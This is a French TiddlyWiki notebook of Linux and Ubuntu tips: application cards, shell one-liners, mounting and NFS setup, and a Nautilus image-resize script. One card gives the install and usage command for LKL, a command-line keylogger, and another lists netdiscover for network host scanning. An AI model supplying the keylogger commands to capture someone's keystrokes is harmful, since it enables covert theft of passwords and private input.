#Récupérer les dictionnaires (fr.*.spl) ici : http://ftp.vim.org/vim/runtime/spell/
#Les copier dans ///usr/share/vim/vim71/spell/// (il faut être root) ou dans //~/.vim/spell///
#Éditer le fichier //~/.vimrc// (ou ///etc/vim/vimrc//) et ajouter :
{{{
augroup filetypedetect
au BufNewFile,BufRead *.tex setlocal spell spelllang=fr
augroup END
}}}
''Notes: ''
#Quelque liens pour bien commencer avec Latex [[ici|http://www.framasoft.net/rubrique266.html]]
#Il existe, bien entendu, d'autres éditeurs graphique pour latex comme KiLe ou LyX.
/***
|''Name:''|LegacyStrikeThroughPlugin|
|''Description:''|Support for legacy (pre 2.1) strike through formatting|
|''Version:''|1.0.2|
|''Date:''|Jul 21, 2006|
|''Source:''|http://www.tiddlywiki.com/#LegacyStrikeThroughPlugin|
|''Author:''|MartinBudden (mjbudden (at) gmail (dot) com)|
|''License:''|[[BSD open source license]]|
|''CoreVersion:''|2.1.0|
***/

//{{{
// Ensure that the LegacyStrikeThrough Plugin is only installed once.
if(!version.extensions.LegacyStrikeThroughPlugin) {
version.extensions.LegacyStrikeThroughPlugin = {installed:true};

config.formatters.push(
{
	name: "legacyStrikeByChar",
	match: "==",
	termRegExp: /(==)/mg,
	element: "strike",
	handler: config.formatterHelpers.createElementAndWikify
});

} //# end of "install only once"
//}}}
*''Communauté Ubuntu en Suisse''
[[Ubuntu SwissTeam|https://wiki.ubuntu.com/SwissTeam/]]
*''Tout pour l'installation de (K)Ubuntu''
[[ubuntuguide.org|http://ubuntuguide.org/wiki]]
[[ubufox|http://appnr.com]] Installation de programme directement via apt-ur depuis firefox
*''Quelques sites'' et leur flux RSS où trouver de fraîches informations au sujet de monsieur Tux
[img[planet ubuntu|http://membres.lycos.fr/wikitux/rss.gif][http://planet.ubuntu-fr.org/rss.php]] [[Planet Ubuntu-fr|http://planet.ubuntu-fr.org/]]
[img[dlfp|http://membres.lycos.fr/wikitux/rss.gif][http://linuxfr.org/backend/news/rss20.rss]] [[DLFP|http://linuxfr.org]]
[img[quebecos|http://membres.lycos.fr/wikitux/rss.gif][http://quebecos.com/index.php?option=com_rss&feed=RSS2.0&no_html=1]] [[QuebecOS|http://www.quebecos.com]]
[img[lpln|http://membres.lycos.fr/wikitux/rss.gif][http://www.linuxpourlesnuls.org/backend.php]] [[Linux pour les nuls|http://www.linuxpourlesnuls.org]]
[img[kernel|http://membres.lycos.fr/wikitux/rss.gif][http://kernel.org/kdist/rss.xml]][[Latest Linux Kernel Versions|http://kernel.org]]
[img[tux-planet|http://membres.lycos.fr/wikitux/rss.gif][http://www.tux-planet.fr/blog/atom.php]][[Tux-planet |http://www.tux-planet.fr/blog]] 
Astuce: ''Codes D'accès pour l'adaptateur voip Linksys SPA2102''
Mots clef: voip, Linksys, raccourcis
Os: Tous
Liens: [[source|http://www.avanzada7.com/imagenes/terminalesIP/linksys/user_guide_SPA2102.pdf]]
<<<
Enter Interactive Voice
Response Menu
{{{****}}}
Use this command to enter the Interactive Voice Response Menu. Do not press any other keys until you hear, “Linksys configuration menu. Please enter the option followed by the # (pound) key or hang up to exit.”
''Check Internet Connection Type''
100
Hear the Internet connection type of the Phone Adapter.
''Check Internet IP Address''
110
Hear the IP address assigned to the Phone Adapter’s Internet (external) interface. 
''Check Network Mask (or Subnet Mask)''
120
Hear the network or subnet mask assigned to the Phone Adapter.
''Check Gateway IP Address''
130
Hear the IP address of the Phone Adapter (usually the network router).
''Check MAC Address''
140
Hear the MAC address of the Phone Adapter in hexadecimal string format.
''Check Firmware Version''
150
Hear the version number of the firmware currently running on the Phone Adapter.
''Check Primary DNS Server IP Address''
160
Hear the IP address of the primary DNS (Domain Name Service) server.
''Check Internet Web Server Port''
170
Hear the port number of the Internet Web server used for the Web-based Utility.
''Check Local IP Address''
210
Hear the local IP address of the Phone Adapter.
''Set Internet Connection Type''
101
Press 0 to use DHCP. Press 1 to use a static IP address. Press 2 to use PPPoE. Select the type of Internet connection you are using. Refer to the documentation supplied by your Internet Service Provider (ISP).
Astuce: ''Avoir la liste des liens symboliques d'un répertoire''
Mots clef: bash
Os: Linux
Liens: [[Source pti-seb | http://www.tux-planet.fr/blog/?2006/02/24/51-astuce-shell-lister-les-liens-symboliques ]]
<<<
Dans un seul répertoire:
{{{ls -F | grep @$ | gawk -F@ '{print $1}'}}}
En incluant les sous-répertoires:
{{{find . -type l}}}
<<<
''Liste des paquets installés sous Kubuntu 7.10 Gutsy''
<<<
*''Système:''
nvidia-glx (voir UbuntuNvidia)
ssh (voir SSHMemento)
virtualbox 
KeyTouch
gparted
*''Bash Util:''
CurL 
YaKuake
mc
smbfs (voir ScriptSambaMount)
*''Internet:''
FireFox
thunderbird 
amule 
frostwire
amsn
EmeSene
KGet
Lynx
*''Multimedia:'' 
ubuntu-restricted-extras (voir MultimediaUbuntuPackage)
MPG321
VlC
JHead 
EasyTag
GimP 
ImageMagick
kim (voir KimKonqueror)
Zattoo
Camorama
gstreamer (voir EnregistrerWebcamEtSon)
mplayer (voir EnregistrerFluxAudioMplayer et MplayerEnregistrerFluxVideo)
mencoder
WinFF
*''DVD:''
totem-xine 
libxine1-ffmpeg 
libdvdread3 ({{{#/usr/share/doc/libdvdread3/install-css.sh}}})
*''Util:''
ConKy
KommanDo
KruSader
KomPose
KDocker
KRename
rar / unrar
diff3 / kdiff3
KataPult
GnomeDo
KCalc 
*''Sécurité:''
KeePassX
*''Network:''
YaFc
EtherWake
wakeonlan
x11vnc
xvncviewer 
TricKle
*''Editeur:''
GeanY
*''Eye Candy:''
compiz-kde
compizconfig-settings-manager
librsvg2-common
libcompizconfig-backend-kconfig
emerald
*''Divers:''
VrmS
''Nom de l'application'': ''@@color(red): Lkl @@''
Mots clef: keylogger, clavier
<<<
''Description: ''LKL (Linux Key Logger) est un keylogger en ligne de commande.

''Installation: ''{{{# aptitude install lkl}}}

''Utilisation: ''
{{{
# lkl -l -k /usr/share/lkl/keymaps/ fr_km -o monFichierLog.txt
}}}
Où ///usr/share/lkl/keymaps/// indique le chemin du fichier permettant le "mapage" du clavier

''Notes: ''Pour rendre l'utilisation d'un keylogger inefficace, on peut utiliser un clavier virtuel (comme GtKeyboard).
''Nom de l'application'': ''@@color(red): Lyx @@''
Mots clef: éditeur, latex
<<<
''Description: ''LyX est un éditeur de fichier WYSIWYG né de la combinaison de latex avec la convivialité d’une interface entièrement graphique utilisable à la souris.

''Installation: ''{{{# aptitude install lyx}}}

''Notes: ''Afin d'utiliser lyx pour écrire des document Latex, il est bon d'installer:
{{{
# aptitude install tetex-base tetex-extra tetex-bin 
}}}
Et, en cas de problèmes avec les accents (voir LateXKileAccents):
{{{
# aptitude install latex-ucs
}}}

Voir également KiLe qui est réellement très puissant est permet d'éditer directement les documents .tex.
''Nom de l'application'': ''@@color(red): mpg321 @@''
Mots clef: audio, mp3, son, player
<<<
''Description: ''mpg321 est un lecteur de musique en ligne de commandes, clone libre de mpg123.

''Installation: ''{{{# aptitude install mpg321}}}

''Utilisation: ''
{{{
$ mpg321 maMusique.mp3
}}}

''Note: ''Pour les fichiers .ogg, il y a ogg123
Astuce: ''Combinaison de touches permettant de redémarrer "sainement" le système''
Mots clef: boot, plantage
Os: Linux
Liens: [[Wikipedia| http://fr.wikipedia.org/wiki/Magic_SysRq_key ]]
<<<
//"La principale utilité de cette fonctionnalité est de pouvoir redémarrer un système bloqué sans corrompre le système de fichier."//
On a les options suivantes:
- R : Récupère  le clavier, approprié le plus souvent par le système de fenêtrage X Window.
- E : Pour terminer (le plus gentiment possible) tous les processus système, (Il faut attendre un peu ici)
- I : Pour tuer (kill) tous les processus système qui n'ont pas voulu s'arrêter gentiment.
- S : Synchronise les disques (s'assure que les données qui doivent être écrites sur le disque le sont bien),
- U : Démonte le système de fichiers (ou plutôt le remonte en lecture seule), (ici aussi on attend 2-3 secondes)
- B : Pour rebooter
- O : pour arrêter l'ordi (si on ne veut pas redémarrer)
L'utilisation est la suivante:
# Maintenir les touches //Alt// et //~SysRq// (Print Screen) enfoncées
# Tout en maintenant pressées ces dernières touches, taper, dans l'ordre, les lettres suivantes: ''R E I S U B'' (busier à l'envers)
# L'ordi devrait alors redémarrer sainement
''Nom de l'application'': ''@@color(red): Mahjongg @@''
Mots clef: jeux
<<<
''Description: ''Mahjongg est une version 3D du jeu de tuiles oriental Mahjongg classique, dont l"objectif est de retirer toutes les tuiles du jeu. Les tuiles sont retirées par paires assorties. Les tuiles ne peuvent pas être retirées si elles n"ont pas au moins un bord de libre. Cliquez sur n"importe quelle tuile libre et sur son double pour les retirer du jeu. Répétez cela, si vous le pouvez, jusqu"à ce que toutes les tuiles soient retirées.

''Installation: ''[[via apt|apt://mah-jong]]

''Notes: ''Voir également la version kde KmahJongg
PRogrammes | AStuces | SCripts | INfos | ContacT |  @@color(grey):propulsé par TiddlyWiki <<version>>  <<toggleSideBar "menu et historique" tooltip hide>>
''Nom de l'application'': ''@@color(red): Mandvd @@''
Mots clef: création, dvd, multimédia
Liens: [[source|http://doc.ubuntu-fr.org/mandvd ]]
<<<
''Description: ''Mandvd est une interface graphique réunissant plusieurs logiciels libres. On peut la qualifier de tout en un, permettant la création de DVD vidéo lisible sur platine DVD.

''Installation: ''Pour plus d'information, voir la [[source|http://doc.ubuntu-fr.org/mandvd ]]
{{{# aptitude install mencoder mplayer mkisofs totem-xine lame dvdauthor mjpegtools netpbm imagemagick transcode dvd+rw-tools libqt3-mt}}}
Puis installer le fichier .deb depuis [[ici|http://www.getdeb.net/download.php?release=292&fpos=0 ]].

''Notes: ''Pour réaliser des diaporamas-dvd, avec Mandvd, installer en plus DvdSlideShow.
<!--{{{-->
<link rel='alternate' type='application/rss+xml' title='RSS' href='bartx.xml'/>
<!--}}}-->

<style type="text/css">
#contentWrapper {display:none;}
body { background:white; }
</style>
<div id="SplashScreen" style="border: 1px solid #ccc; -moz-border-radius:1em; display:block; text-align:center; width:400px; margin:100px auto; padding:.5em; color:#fff; font-size:24pt; font-family:verdana,arial,helvetica,sans; background-color:#006;"><img src="tux.png" title="tux" align="left"> Le Carnet de bord est en chargement<blink> ...</blink><img src="gnu_tux.png" title="firefox" align="right"><br><span style="font-size: 14px; color:red;"> Necessite Javascript actif</span></div></div>
''Nom de l'application'': ''@@color(red): Mathomatic @@''
Mots clef: science, mathématique, calcul formel
Liens: [[site officiel|http://mathomatic.orgserve.de/ ]]
<<<
''Description: ''Logiciel de mathématiques formelles en lignes de commandes, permettant, par exemple, la résolution d'équation ou la génération de code C ou python. 

''Installation: ''{{{# aptitude install mathomatic}}}

''Notes: ''Pour plus de détail quant à son utilisation, voir le site officiel.
''Nom de l'application'': ''@@color(red): Meld @@''
Mots clef: comparaison, fichiers
<<<
''Description: ''Meld est un front-end pour diff. Meld permet donc la comparaison de deux fichiers afin de mettre en évidence les différences.

''Installation: ''[[via apt|apt://meld]]

''Utilisation: ''via l'interface graphique

''Notes: ''voir aussi KDiff3 pour KDE.
Astuce: ''Convertir une video .mov en .avi avec mencoder en effectuant une rotation de 90 degrés''
Mots clef: mencoder, film, rotation
Os: Linux
<<<
Pour la conversion video+son+rotation:
{{{
$ mencoder film.MOV -o film.mov -vf rotate=2 -ovc lavc -oac mp3lame -srate 8000
}}}
L'option {{{-srate 8000}}} n'est nécessaire que si une erreur survient au niveau de l'audio.
''Nom de l'application'': ''@@color(red): Métamophose @@''
Mots clef: renommer, rename, fichiers
Liens: [[site officiel|http://file-folder-ren.sourceforge.net]]
<<<
''Description: ''Logiciel multiplateforme permettant de renommer une série de fichiers, très complet

''Installation: ''Télecharger le fichier .deb sur le site officiel.

''Notes: ''Voir aussi l'excellent KRename, PyRenamer et, en ligne de commande, RenommerPlusieursFichiers.
''Nom de l'application'': ''@@color(red): mimms @@''
Mots clef: flux vidéo, tv, télé
<<<
''Description: ''mimms est un client très simple permettant de télécharger un flux vidéo (ou audio) disponible en streaming en utilisant le protocol MMS.

''Installation: ''{{{# apt-get install mimms}}}

''Notes: ''
@@color(red):L'exemple ci-dessous ne fonctionne plus, pour télecharger les guignols voir ScriptCanalPlus.@@
Par exemple pour télécharger l'épisode de guignols sur canal+ (épisode du jour passé)
{{{
$ mimms mms://vipmms.canalplus.fr/canalplus/guignols_`date --date "1 days ago" +'%y%m%d'`_a.wmv
}}}
NB: si vous ne désirez que visualiser le flux, sans le sauvegarder, alors mplayer est votre ami:
{{{
$ mplayer mms://vipmms.canalplus.fr/canalplus/guignols_`date --date "1 days ago" +'%y%m%d'`_a.wmv
}}}
Astuce: ''Touches de raccourcis pour le switch KVM permettant le partage écran/souris/clavier entre 2 ordis''
Mots clef: matériel, écran, hardware
Os: Tous
|Canal précédent|Scroll Lock + Scroll Lock + flèche haut|
|Canal suivant|Scroll Lock + Scroll Lock + flèche bas|
|Canal 1 ou 2|Scroll Lock + Scroll Lock + 1 ou 2|
|Mode Autoscan|Scroll Lock + Scroll Lock + S|
|Mode Autoscan sec|Scroll Lock + Scroll Lock + S + 10-100s|

''Note:'' Il est également possible pour deux ordis ayant linux de partager clavier et écran grâce à SynErgy
Astuce: ''Mise à jour du bash''
Mots clef: bash
Os: Linux
<<<
{{{$ exec bash}}}
En particulier pour activer les alias qui se trouvent dans .bashrc
''Nom de l'application'': ''@@color(red): Mnemosyne @@''
Mots clef: étude, mémoire
Liens: [[site officiel|http://mnemosyne-proj.sourceforge.net/ ]]
<<<
''Description: ''Mnemosyne est un petit programme virtualisant le traditionnel jeu de carte mémoire de l'étudiant. Simple et très pratique

''Installation: ''{{{# aptitude install mnemosyne}}}

''Notes: ''Permet l'exportation en format .xml
''Nom de l'application'': ''@@color(red): nomdelappli @@''
Mots clef: jeux
<<<
''Description: ''Un clone de Frozen Bubble, le clone de Snood

''Installation: ''[[via apt|apt://monkey-bubble]]

''Notes: ''voir aussi FrozenBubble
Astuce: ''Monter une image .iso en ligne de commande''
Mots clef: iso
Os: Linux
<<<
Pour monter un iso: 
{{{
# mkdir /media/iso
# modprobe loop
# mount -t iso9660 image.iso /mnt/iso -o loop
}}}
Ou alors
{{{
# mount -t iso9660 -o loop image.iso /media/ISO
}}}
Lorsque l'on a les fichiers .cue et .bin, un utilitaire existe pour les convertir en .iso: bchunk
La syntaxe est la suivante:
{{{
$ bchunk <fichier .cue> <fichier .bin> <fichier de sortie>
}}}

''Note: ''voir aussi CreerGraverCDDVD et ConversionCDRomIso.
Astuce: ''Monter une partition windows ntfs avec fichiers accentués''
Mots clef: Système, encodage, ntfs
Os: Linux
<<<
La commande magique:
{{{
$ mount /dev/hda1 /mnt/work/ -t ntfs -o nls=utf8,umask=0222 
}}}
<<<
''Nom de l'application'': ''@@color(red): Mp3blaster @@''
Mots clef: musique, ligne de commande, bash
Liens: [[site offcilel|http://mp3blaster.sourceforge.net/ ]]
<<<
''Description: ''mp3 est un lecteur de musique complet, avec liste de lecture, en ligne de commande.

''Installation: ''{{{# aptitude install mp3blaster}}}

''Utilisation: ''Les touches de fonction sont indiquées en haut du terminal.
Astuce: ''Enregistrer un flux vidéo avec mplayer''
Mots clef: multimédia, vidéo, streaming
Os: Linux
<<<
{{{
$ mplayer -dumpstream -dumpfile video.wmv URL
}}}
Puis pour convertir en .avi
{{{
$ ffmpeg -i video.wmv -vcodec xvid -f avi -s 320x240 video.avi
}}}
Puis en .flv
{{{
$ ffmpeg -i video.avi -ar 22050 -ab 32 -f flv -s 320x240 video.flv
}}}
<<<
''Nom de l'application'': ''@@color(red): Mconverter @@''
Mots clef: multimedia, audio, vidéo, conversion, kde
Liens: [[page officiel| http://www.kde-apps.org/content/show.php/Multimedia+Converter++?content=53610 ]]
<<<
''Description: ''Ce programme est un script Kommander permettant, grâce à ffmpeg et MPlayer d'effectuer des conversions dans pratiquement tous les formats vidéo et audio.

''Installation: ''Télecharger l'archive sur la [[page officiel| http://www.kde-apps.org/content/show.php/Multimedia+Converter++?content=53610 ]] et en extraire le fichier .deb puis l'installer.

''Utilisation: ''Pour lancer l'application
{{{
$ kmdr-executor /usr/local/LinConverter/LinConverter.kmdr
}}}

''Notes: ''Pour la conversion audio, voir aussi SoundConverter et surtout SoundKonverter qui est bien intégré à KDE.
Astuce: ''Installer un package permettant d'accéder à l'ensemble des codecs non-free''
Mots clef: multimedia, codecs
Os: Ubuntu
Liens: [[source|http://bapoumba.wordpress.com/2007/11/15/using-restricted-formats-with-gutsy/]]
<<<
Tout d'abord il s'agit d'activer les répertoires multiverse dans le fichier ///etc/apt/sources.list//. 

Il suffit alors d'installer le méta-paquet ubuntu-restricted-extras  
{{{
# aptitude install ubuntu-restricted-extras  
}}}

Ce meta-paquet contient les paquets suivants:
{{{
streamer0.10-plugins-ugly, gstreamer0.10-plugins-ugly-multiverse,  
            msttcorefonts, flashplugin-nonfree, sun-java6-plugin, unrar,  
            gstreamer0.10-plugins-bad, gstreamer0.10-plugins-bad-multiverse,  
            gstreamer0.10-ffmpeg, liblame0, libdvdread3  
}}}
NB: Pour activer la  prévisualisation audio dans gnome, il faut installer les paquets suivants:
{{{
# aptitude install esound mpg321 sox vorbis-tools
}}}
Astuce: ''Paramètre de partage de fichier avec NFS''
Mots clef: réseau, samba
Os: Debian Ubuntu
<<<
# Tout d'abord, installer NFS sur le serveur: {{{apt-get install nfs-kernel-server nfs-common}}}
# Créer un partage (sur le serveur NFS) en ajoutant au fichier // /etc/exports // la ligne suivante: {{{/media/disk0 192.168.0.2(sync,rw,no_root_squash,no_subtree_check)}}}. Cela rend possible le partage du répertoire // /media/disk// avec la machine d'ip 192.168.1.2
# Sur la machine cliente d'ip 192.168.1.2 : {{{apt-get install nfs-common}}}
# Montage automatique du répertoire nfs partagé en ajoutant au fichier // /etc/fstab// la ligne suivante : {{{ocelot:/media/disk0	/media/ocelot/disk0	nfs	rw,user,noauto	0	0}}} Où //ocelot// est le serveur nfs, // /media/disk0// le répertoire à partager et // /media/ocelot/disk0// le répertoire de montage sur la machine cliente.
<<<
''Nom de l'application'': ''@@color(red): Nautilus-actions @@''
Mots clef: nautilus, gnome
Liens: [[source| http://www.ubuntukungfu.org/blog/2008/10/nautilus-actions-do-just-about-anything-to-a-file-by-right-clicking-it/ ]]
<<<
''Description: ''Nautilus-actions est un programme qui permet d'ajouter des éléments dans le menu contextuel de nautilus (clic droit).

''Installation: ''[[via apt|apt://nautilus-actions]] (pour beaucoup d'actions, le paquet [[zenity|apt://zenity]] est nécessaire).

''Utilisation: ''Pour configurer Nautilus-actions se rendre dans Système puis Préférences et enfin Nautilus Actions Configuration. On peut configurer ces propres actions (voir la [[source| http://www.ubuntukungfu.org/blog/2008/10/nautilus-actions-do-just-about-anything-to-a-file-by-right-clicking-it/ ]] en anglais ou [[ubuntu-fr|http://doc.ubuntu-fr.org/nautilus-action]], ou alors installer facilement (via importer) des actions déjà crées par d'autres. Une collection d'actions nautilus [[ici|http://www.grumz.net/index.php?q=configlist]]

Actions que j'utilise:
#[[Tag media files with Easytag|http://www.grumz.net/?q=node/210]]
#[[Convert to 3GP|http://www.grumz.net/?q=node/329]]
#[[Search online for album cover|http://www.grumz.net/?q=node/258]]

''Notes: ''
# voir ScriptsNautilus pour l'usage des scripts dans Nautilus
#pour kde et KonQueror voir KonquerorServiceMenu
''Nom de l'application'': ''@@color(red): nautilus-image-converter @@''
Mots clef: Nautilus, redimensionnement
<<<
''Description: ''Nautilus-image-converter permet d'ajouter, lorsque que l'on effectue un clic droit sur une image, un menu de redimensionnement et de rotation d'images.

''Installation: ''[[via apt|apt://nautilus-image-converter]]

''Utilisation: ''via clic droit sur une image.

''Note: ''Voir aussi AmeliorerNautilus et NisNautilus.
''Nom de l'application'': ''@@color(red): Netdiscover @@''
Mots clef: réseau
Liens: [[site officiel|http://nixgeneration.com/~jaime/netdiscover/]]
<<<
''Description: ''Netdiscover permet de scanner le réseau à la recherche d'hôte. Affiche l'adresse ip et mac de la machine.

''Installation: ''[[via apt|apt://netdiscover]]

''Utilisation: ''
par exemple {{{# netdiscover -i eth0}}}
Astuce: ''Permet le redimensionnement d'images dans Nautilus''
Mots clef: script Nautilus, redimensionnement
Os: Linux, Gnome
Liens: [[site officiel|http://www.creationgif.com/debian/nis/index-fr.html]]
<<<
''Installation: ''Vérifier tout d'abord la version sur le [[site officiel|http://www.creationgif.com/debian/nis/index-fr.html]]
{{{
$ wget http://www.creationgif.com/debian/nis/download/nis-08.tar.gz
$ tar zxvf nis-0.8.tar.gz
$ mv ./resize ~/.gnome2/nautilus-scripts/
$ chmod +x ~/.gnome2/nautilus-scripts/resize
$ rm nis-0.8.tar.gz
}}}
''Utilisation: ''Simple clic droit sur l'image, puis choisir: scripts - -> nis

''Notes: ''
#Pour KDE, voir aussi KimKonqueror
#Voir aussi AmeliorerNautilus et NautilusImageConverter
#Pour le script complet avec l'option //-resize// remplacée par //-geometry//:
{{{
#!/bin/bash
#
# Author : Mathieu Vilaplana <mathieu@creationgif.com>
# Author : Matthieu MARC <matthieu.marc@wanadoo.fr>
#
# Copyright (C) 2005,2006  Charles Bouveyron <charles.bouveyron@free.fr>
# 
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
# 
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

#&nbsp;pour l'internationalisation des messages	
# to generate the i18n file from .po file :
# $ msgfmt -o .locale/fr/LC_MESSAGES/nis.mo .locale/fr/LC_MESSAGES/fr.po
export TEXTDOMAIN="nis"
export TEXTDOMAINDIR=`dirname $0`"/.locale/"

MAXCPT=50000;

nb_images=0;
selection="";

txt_error="`gettext 'error'`"
#test if a file has been selected
if [ $# -eq 0 ]; then
	# zenity --error --title=$txt_error --text="`gettext 'You must select at least 1 file to process'`"
	here=`pwd`"/."
	files=`zenity --file-selection --multiple --separator="|" --filename="$here"`"|"
	#if $? != 0, user click on cancel button, so exit
	if [ "$?" != 0 ] ; then
		exit
	fi
	cpt=0
	# I put all filename in $selection here because I didn't managed to put filenames with whitespace in $*
	while [ ${#files} -gt 0 ]; do
		f="`echo $files&nbsp;|cut -f1 -d'|'`"
		isimage=`file -bi "$f" |grep -c image`
		if [ $isimage -eq 1 ]; then
			selection[$nb_images]=$f
			let "nb_images++"
		fi
		files=`echo $files |cut -f2- -d"|"`
		let "cpt++"
		#&nbsp;only to avoid infinite loop (do not occured normaly, but nobody never know.. perhaps!)
		if [ $cpt -gt $MAXCPT ]; then
			shift
		fi
	done
fi

#===================================
#       SELECT SIZE DIALOG
txt_text="`gettext 'Choose which size to scale to'`"
txt_title=$txt_text
txt_size="`gettext 'size'`"

imgsize=`zenity --title "$txt_title" --text "$txt_text" --list --radiolist --separator=" " --column="" --column="$txt_size" FALSE "160x120" FALSE "320x240" FALSE "640x480" TRUE "800x600" FALSE "1024x768" --height=220`

#if $? != 0, user click on cancel button, so exit
if [ "$?" != 0 ] ; then
	exit
fi

#user must select a target size
imgsize=`echo $imgsize | sed 's/ max//g'`
if [ ! "$imgsize" ]; then
	zenity --error --title=$txt_error --text="`gettext 'select a target size'`"
	#&nbsp;just restart myself (more user friendly I think)
	($0 "$*")&
	exit
fi

#transform 640x480 en 640x640 for convert to respect proportions
himgsize=$imgsize
val1=`echo "$imgsize" | awk -F'x' '{ print $1  }'`
imgsize="${val1}x${val1}"

#       END SELECT SIZE DIALOG
#=========================


#Select only images
while [ $# -gt 0 ]; do
	isimage=`file -bi "$1" | grep -c image` 
	if [ $isimage -eq 1 ]; then
		selection[$nb_images]=$1
		let "nb_images++"
	else
		isdir=`file -b "$1" |grep -c directory`
		if [ $isdir -eq 1 ]; then
			for f in `ls -1 "$1"`; do
				isimage=`file -bi "$1/$f" |grep -c image`
				if [ $isimage -eq 1 ]; then
					selection[$nb_images]="$1/$f"
					let "nb_images++"
				fi
			done
		fi
	fi
	shift
done

n=$nb_images
let "n=n-1"
(for i in `seq 0 $n`;do
	picture=${selection[$i]}
	img_filename=`basename "$picture"`
	img_dirname=`dirname "$picture"`

	#create directory if not exist and at least one image to process
	if [ ! -d "$img_dirname/$himgsize"  ]; then
		mkdir -p "$img_dirname/$himgsize"
	fi

	let "compteur += 1"
	echo "`gettext '# Processing image'` $compteur / $nb_images $img_filename ..."
	convert -quality 80 -geometry $imgsize "$picture" "$img_dirname/$himgsize/$img_filename"
	#convert -quality 80 -geometry $imgsize "$picture" $himgsize/"$picture"
	let "progress = compteur*100/nb_images"
	echo $progress
done
) | zenity --progress --auto-close --title="`gettext 'Scaling images'`" --text="`gettext 'Processing images ...'`"  --percentage=0

(gnome-open "`dirname \"${selection[0]}\"`/$himgsize") &
exit
}}}
Astuce: ''Lancer un processus indépendant de la console''
Mots clef: système, console
Os: Linux
Liens: [[source| http://www.tux-planet.fr/blog/?2007/12/04/211-utilisation-de-la-commande-nohup]]
<<<
Nohup est une commande qui permet de lancer un processus qui restera actif même après la déconnexion de l'utilisateur.
Cette dernière peut s'avérer très utile si on la combine au '&' qui permet de lancer un processus en arrière plan.
Exemple: action sur un serveur distant en ssh, sans attendre la fin de la commande pour se déconnecter.
Téléchargement d'un gros fichier :
{{{
# ssh nomUtilisateur@serverSSH
# nohup wget ftp://...../monfichier &
# exit 
}}}
A chaque utilisation, la commande crée un fichier de log nommé nohup.out, permettant de consulter les messages qui auraient dû s'afficher sur la console. On pourra visionner le contenu comme ceci :
{{{
# more nohup.out 
}}}
Nohup permet donc en quelque sorte, de détacher complètement un processus de son utilisateur.
''Notes: ''
#Un excellent tuto sur le siteduzero.com [[ici|http://www.siteduzero.com/tutoriel-3-67789-0-executer-des-programmes-en-arriere-plan.html]]
#Alternative: disown apparemment plus doux que nohup
Pour l'utiliser :
{{{
$ macommande &
$ disown %1
}}}
où 1 représente le premier job "dépossédé" : on peut en déposséder plusieurs comme cela (il faut alors taper le chiffre entre crochets renvoyé par bash : les numéros se suivent. Pour avoir la liste, taper "jobs").
Astuce: ''normaliser tous les mp3 d'un répertoire''
Mots clef: multimédia, audio
Os: linux
<<<
Nécessite //mp3gain//:
{{{
$ find . -type f -iname '*.mp3' -print0 | xargs -0 mp3gain -r -k
}}}
Où //type -f// effectue la recherche dans le répertoire courrant
Pour plus d'info voir {{{man mp3gain}}}
<<<
''Nom de l'application'': ''@@color(red): numlockx @@''
Mots clef: clavier numérique
<<<
''Description: ''Logiciel permettant d'activer par défaut la touche numlock au démarrage.

''Installation: ''[[via apt|apt://numlockx]]

''Utilisation: ''pour une utilisation au démarrage, simplement l'ajouter dans les applications lancées au démarrage.

''Notes: ''Permet de résoudre un bug avec le clavier TypeMatrix.
''Nom de l'application'': ''@@color(red): Numpty Physics @@''
Mots clef: 
Liens: [[site officiel|http://numptyphysics.garage.maemo.org/ ]]
<<<
''Description: ''Inspiré par le célèbre Crayon Physic (voir PlayOnLinux), Numpty Physics offre un jeu dont le but est d'utiliser les lois de la gravité afin qu'une boule rejoigne une étoile. Simple mais addictif.

''Installation: ''Paquet .deb disponible sur le [[site officiel|http://numptyphysics.garage.maemo.org/ ]].

''Utilisation: ''simplement dessiner les pièces que l'on désire utiliser.  La touche "s" permet d'accéder au menu et "e" pour avoir le jeu en plein écran.
''Nom de l'application'': ''@@color(red): Opcion @@''
Mots clef: polices de caractères
Liens: [[site officiel|http://opcion.sourceforge.net/ ]], [[source|http://blog.racoon97.net/index.php?2007/04/06/92-opcion-mais-que-fait-la-police]]
<<<
''Description: ''Logiciel multi-platformes (en java) permettant de visualiser l'ensemble des polices de caractères installé sur le système. 
''Installation: ''
* Tout d'abord s'assurer que l'on a une version de java suffisamment récente. Sinon:
{{{# aptitude install sun-java6-jdk #sun-java6-plugin }}}
Puis vérifier que le "bon" java est utilisé par défaut avec:
{{{# sudo update-alternatives --config java}}}
* Télecharger le programme et le lancer:
{{{$ wget http://ufpr.dl.sourceforge.net/sourceforge/opcion/Opcion_v1.1.1.jar}}}
et finalement, dans le bon répertoire
{{{$ java -jar Opcion_v1.1.1.jar}}}
''Nom de l'application'': ''@@color(red): Open Office @@''
Mots clef: bureautique, traitement de texte, tableur, présentation, 
<<<
''Description: ''Open Office est un suite bureautique libre dont le but est de remplacer microsoft office.  Cette suite est divisée en plusieurs modules:
    * Writer – Traitement de texte
    * Calc – Tableur
    * Impress – Création de présentations multimédia
    * Draw – Dessin vectoriel
    * Base – Création de bases de données
    * Math – Édition de formules mathématiques complexes

''Installation: ''En général installé d'(open-)office

''Notes: ''Pour générer rapidement des présentations Impress à partir de schémas, voir aussi KDissert<